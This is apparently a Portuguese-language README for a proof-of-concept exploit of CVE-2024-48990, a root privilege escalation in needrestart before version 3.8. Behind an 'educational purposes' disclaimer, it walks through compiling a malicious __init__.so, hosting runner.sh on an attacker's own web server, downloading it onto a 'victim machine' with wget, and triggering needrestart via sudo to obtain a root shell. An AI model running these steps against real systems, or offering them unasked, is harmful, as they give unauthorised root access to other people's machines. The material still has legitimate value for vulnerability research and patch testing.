CVE-2024-48990

[!WARNING] Estes arquivos e informações são destinados apenas para fins educacionais. O autor não é responsável por qualquer comportamento malicioso. Todas as informações fornecidas não têm a intenção de incitar qualquer tipo de crime ou abuso.

Descrição

A Qualys descobriu que o needrestart, antes da versão 3.8, permite que invasores locais executem código arbitrário como root, enganando o needrestart para executar o interpretador Python com uma variável de ambiente PYTHONPATH controlada pelo invasor. Consulte o NIST para obter detalhes oficiais.

PoC

1. Baixe o repositório do git

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. Compile a biblioteca exploit.c para gerar uma biblioteca ELF válida e nomeie-a como __init__.so

gcc -shared -fPIC -o __init__.so exploit.c

3. Altere <IP> e <PORT> no runner.sh, linhas 7 e 10, com seu IP e PORTA do seu próprio servidor web.
4. Inicie o servidor web

python3 -m http.server

5. Baixe o runner na máquina da vítima

wget http://IP:PORT/runner.sh

6. Defina permissão de execução para o runner

chmod +x runner.sh

7. Execute o script

./runner.sh

8. Execute o needrestart com permissão sudo

sudo needrestart

Quando ler [*] CVE module created pressione CTRL+C para parar o processo e obter seu shell!